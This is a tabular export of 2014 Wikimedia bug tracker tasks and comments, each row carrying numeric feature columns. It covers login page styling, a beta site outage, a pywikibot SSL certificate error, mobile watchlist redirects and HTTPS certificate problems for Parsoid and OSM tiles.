+321153,Loginpage doesn't use mw-ui-button anymore,Whoops.,,,1412367362,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+321149,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:
+
+Change 164629 abandoned by Florianschmidtwelzow:
+Fix missing mw-ui-button on Login and create page
+
+Reason:
+-> I99d5803818e4c2719f92cab0d9036a1cbc3943ca
+
+https://gerrit.wikimedia.org/r/164629",,,1412364742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+321144,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:
+
+Change 164630 had a related patch set uploaded by Florianschmidtwelzow:
+Fix missing mw-ui-button on Login and create page
+
+https://gerrit.wikimedia.org/r/164630",,,1412364661,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+321138,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:
+
+Change 164629 had a related patch set uploaded by Florianschmidtwelzow:
+Fix missing mw-ui-button on Login and create page
+
+https://gerrit.wikimedia.org/r/164629",,,1412364152,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+73532,login busted,"http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
+
+is 503
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Needs Triage,90.0,1412196840,1413469255.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-jekgcahti7tcon56pca2,task_description,resolved,True,c3,1,False,False,True,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+329108,login busted,I guess this can be closed now as RESOLVED WORKSFORME / FIXED?,,,1413464793,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jekgcahti7tcon56pca2,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+329102,login busted,"Currently all pages on beta are down, the hhvm instances are in a restart loop.  It might be related to https://gerrit.wikimedia.org/r/#/c/164160/ , still investigating.",,,1412197012,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-jekgcahti7tcon56pca2,task_subcomment,,True,c3,1,False,,,-40,True,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+73497,SSLError on requesting data from Wikidata,"When trying to get() an item from wikidata I get the following SSL related error:
+
+ERROR: Traceback (most recent call last):
+  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/data/api.py"", line 452, in submit
+    headers=headers, body=body)
+  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/tools.py"", line 367, in wrapper
+    return method(*__args, **__kw)
+  File ""/usr/local/lib/python2.7/dist-packages/pywikibot-2.0b1-py2.7.egg/pywikibot/comms/http.py"", line 258, in request
+    raise request.data
+SSLError: [Errno 185090050] _ssl.c:344: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib
+
+
+To reproduce:
+import pywikibot
+repo = pywikibot.Site().data_repository()
+item = pywikibot.ItemPage(repo, 'Q4115189')
+item.get()
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Needs Triage,90.0,1412156760,1412591353.0,PHID-USER-uu7wg6g3b37dcktbje3a,False,,False,PHID-TASK-w4js4xepsmk6fz75gkwe,task_description,invalid,True,c3,1,False,False,True,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+334067,SSLError on requesting data from Wikidata,"The upstream issue is https://github.com/jcgregorio/httplib2/issues/252
+
+tl;dr: the permissions in the .tar.gz on pypi are wrong, and these permissions are restored when pip installing as root.
+
+Workarounds: 
+ - fix the permissions manually
+ - install pywikibot into a virtualenv
+ - remove the pip installed httplib2 and replace by the distribution one
+ - use pwb.py
+
+and maybe
+ - install the bundled httplib2 in externals/
+
+also works.",,,1417113110,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-31,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+334066,SSLError on requesting data from Wikidata,An update on this. In Amsterdam we found at that it seems as though my installation (ubuntu or python) made the cert file not readable by the process running pywikibot. Strange and weird but unlikely to be related to pywikibot itself.,,,1417110306,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+327664,SSLError on requesting data from Wikidata,Yes. It's used by people using pywikibot-as-a-portable-package via pwb.py. I'm not sure why your system decided to a) use that directory (instead of using the system-installed one) or b) why it couldn't find it's cacerts file (which is included in the externals/httplib2 directory).,,,1412595221,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+327658,SSLError on requesting data from Wikidata,Is the httplib2 in core/externals necessary?,,,1412595068,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+327651,SSLError on requesting data from Wikidata,"Sorry about that. Me getting confused between httplib and requests.
+
+httplib2.CA_CERTS gives me /usr/local/lib/python2.7/dist-packages/httplib2-0.9-py2.7.egg/httplib2/cacerts.txt
+
+---
+
+I finally got things to work by deleting the httplib2 directory in the externals folder of pywikibot.",,,1412591289,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+327645,SSLError on requesting data from Wikidata,"Note that we use *httplib2*, not requests! Please try the following
+
+$ python
+Python 2.7.6 (default, Mar 22 2014, 22:59:56)
+[GCC 4.8.2] on linux2
+Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
+>>> import httplib2
+>>> httplib2.CA_CERTS
+
+This gives me '/etc/ssl/certs/ca-certificates.crt' for my Ubuntu 14.04-packaged httplib2, and '/path/to/venv/lib/python2.6/site-packages/httplib2-0.8_pywikibot1-py2.6.egg/httplib2/cacerts.txt' for a virtualenv.
+
+What do you get, and does that file exist?",,,1412590488,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+327638,SSLError on requesting data from Wikidata,@Merlijn: running httplib2 version 0.9,,,1412589009,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0
+327632,SSLError on requesting data from Wikidata,"@Fabian: SSL issue doesn't happen when I call pywikibot.version.getversion()
+
+@Merlijn: Running ""pip install --upgrade httplib2"" didn't help (and on searching I find cacert.pem in the requests directory).
+
+Completely reinstalled pywikibot (to try and remove any issues related to the egg installer but still the same issue.
+
+u'[ssh] pywikibot-core.git (df93880, g4208, 2014/10/05, 23:53:47, n/a)'
+
+Reading a bit at https://bugs.launchpad.net/ubuntu/+source/python-pip/+bug/1306991 it seems as though requests is broken for Ubuntu 14.04.",,,1412588219,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,False,,,-39,True,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+327630,SSLError on requesting data from Wikidata,"Apparently this is what you get if your certificates file is missing. What version of httplib2 do you have installed, and was it installed by a package manager or with pip?
+
+In the latter case, please pip install --upgrade httplib2; in the former case, a bug report for your distribution might be in order.",,,1412461344,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+327629,SSLError on requesting data from Wikidata,Does this happen also when calling pywikibot.version.getversion()?,,,1412460875,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0
+327627,SSLError on requesting data from Wikidata,"Work for me with:
+>>> pywikibot.version.getversion()
+u'[ssh] pywikibot-core.git (a5744db, g4204, 2014/10/04, 18:56:45, OUTDATED)'",,,1412459970,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-w4js4xepsmk6fz75gkwe,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,1
+73206,Watchlist doesn't redirect to login on mobile,"Visit http://en.wikipedia.beta.wmflabs.org/wiki/Special:Watchlist (desktop) and you are redirected to the login form.
+Do the same on mobile and no redirect.
+http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:Watchlist
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1411513680,1412727544.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-f2u7r562z6opn7udw5ah,task_description,resolved,True,c3,1,True,False,True,-41,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+326436,Watchlist doesn't redirect to login on mobile,"Change 164673 merged by jenkins-bot:
+Redirect to login
+
+https://gerrit.wikimedia.org/r/164673",,,1412727440,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+326433,Watchlist doesn't redirect to login on mobile,"Change 164673 had a related patch set uploaded by Bmansurov:
+Redirect to login
+
+https://gerrit.wikimedia.org/r/164673",,,1412371310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+326429,Watchlist doesn't redirect to login on mobile,http://en.wikipedia.beta.wmflabs.org/wiki/Special:Uploads has the same problem and should also be fixed.,,,1412297064,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+326423,Watchlist doesn't redirect to login on mobile,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/xJw5Qr3s",,,1411513809,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-f2u7r562z6opn7udw5ah,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+72992,Login,"**Author:** `ramya.s`
+
+**Description:**
+login
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Windows 7
+**Platform**: PC
+**URL**: http://www.ereceivablemanager.com/meritoruat/",Needs Triage,90.0,1411032060,1411033228.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qwwyg5iraasd2s5gs3za,task_description,invalid,True,c3,1,False,False,True,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+72820,Add ability to ignore SSL certificate errors for compatibility,"would you please add this patch for compat?
+https://gerrit.wikimedia.org/r/#/c/160189/
+Now when i edit claims it crashes and show this token error
+
+  File ""/home/reza/compat/wikipedia.py"", line 4799, in editclaim
+    raise RuntimeError(""API query error: %s"" % data)
+RuntimeError: API query error: {u'servedby': u'mw1191', u'error': {u'info': u""The 'token' parameter must be POSTed"", u'code': u'mustposttoken'}}
+
+--------------------------
+**Version**: compat-(1.0)
+**Severity**: normal",Needs Triage,90.0,1410675660,,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-bppblgzqku2hjokxz6pn,task_description,duplicate,True,c3,1,False,False,,-42,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+331727,Add ability to ignore SSL certificate errors for compatibility,"
+
+*** This bug has been marked as a duplicate of bug 71159 ***",,,1411483628,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+331724,Add ability to ignore SSL certificate errors for compatibility,"You can't ignore errors because they are ""errors"" what you can ignore are warnings.",,,1410763937,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0
+331721,Add ability to ignore SSL certificate errors for compatibility,@Amir it stops the bot and it is not a warning also when I added try to repeat the function it will work but for adding references it stop completely.,,,1410759563,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-42,True,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0
+331715,Add ability to ignore SSL certificate errors for compatibility,"It is not a warning that can be ignored and it's not related to SSL either.
+
+I fixed it by a little trick in wikipedia.py I can fix it easily but my question is should we fix it?
+
+Best",,,1410735931,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0
+331709,Add ability to ignore SSL certificate errors for compatibility,"The token error is a different bug caused by changes in the MW API, and not yet fixed for compat.  I suspect that has already been raised, but Amir will know.
+
+The ignore SSL cert fix only works with httplib2 used by core, which compat does not use.",,,1410676373,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bppblgzqku2hjokxz6pn,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+72761,Require SSL certificates to be valid; don not allow to use your own certificate,"**Author:** `vichak`
+
+**Description:**
+The error when you use self signed certificate is the following :
+
+Page Fetch failure for ""https://myhost/api.php"": Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE
+
+DoesNotExistError: Page Fetch failure for ""https://myhost/api.php"": Error: UNABLE_TO_VERIFY_LEAF_SIGNATURE
+at ApiRequest._requestCB (/usr/lib/parsoid/src/lib/mediawiki.ApiRequest.js:153:15)
+at self.callback (/usr/lib/parsoid/node_modules/request/request.js:121:22)
+at Request.emit (events.js:95:17)
+at ClientRequest.self.clientErrorHandler (/usr/lib/parsoid/node_modules/request/request.js:230:10)
+at ClientRequest.emit (events.js:95:17)
+at CleartextStream.socketErrorListener (http.js:1547:9)
+at CleartextStream.emit (events.js:95:17)
+at SecurePair.<anonymous> (tls.js:1386:19)
+at SecurePair.emit (events.js:92:17)
+at SecurePair.maybeInitFinished (tls.js:979:10)
+
+I push a code review on https://gerrit.wikimedia.org/r/#/c/159811/2
+But this not working...
+
+It need to offer the strictSSL option of request module. I found this option on https://github.com/mikeal/request
+
+I hardcoded strictSSL to false in my production server...
+
+I wanted to share this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=64003",Needs Triage,90.0,1410511980,1410800121.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_description,resolved,True,c3,1,False,False,True,-42,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+329484,Require SSL certificates to be valid; don not allow to use your own certificate,"**gerritadmin** wrote:
+
+Change 159811 merged by jenkins-bot:
+(Bug 70761) Add strictSSL option to ParsoidConfig
+
+https://gerrit.wikimedia.org/r/159811",,,1411011323,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+329481,Require SSL certificates to be valid; don not allow to use your own certificate,"
+
+*** This bug has been marked as a duplicate of bug 64003 ***",,,1410800121,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+329476,Require SSL certificates to be valid; don not allow to use your own certificate,"**gerritadmin** wrote:
+
+Change 159811 had a related patch set uploaded by Vichak:
+(Bug 70761) Add strictSSL option to ParsoidConfig
+
+https://gerrit.wikimedia.org/r/159811",,,1410542450,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pjgsahbxbmqe6xdh7l6c,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+72680,Hosting OSM tiles via HTTPS,"HTTPs delivery for OSM tiles currently results in certificate problems.
+
+If URLs like https://c.tiles.wmflabs.org/hikebike/4/8/4.png are used to deliver the tiles it gives a certificate error.
+We already had this on Toolserver and I discovered that the wildcard *.wmflabs.org SSL certificate does not cover c.tiles.wmflabs.org.
+This is because sub - sub - domains are not handled by wildcard ssl certs.
+
+So the best way to solve this problem would be to use different host names like tiles-c.wmflabs.org so you have only one sub domain.
+
+We need this to be done quite soon because otherwise we cannot switch the whole OSM stuff from Toolserver to Toollabs.
+
+--------------------------
+**Version**: unspecified
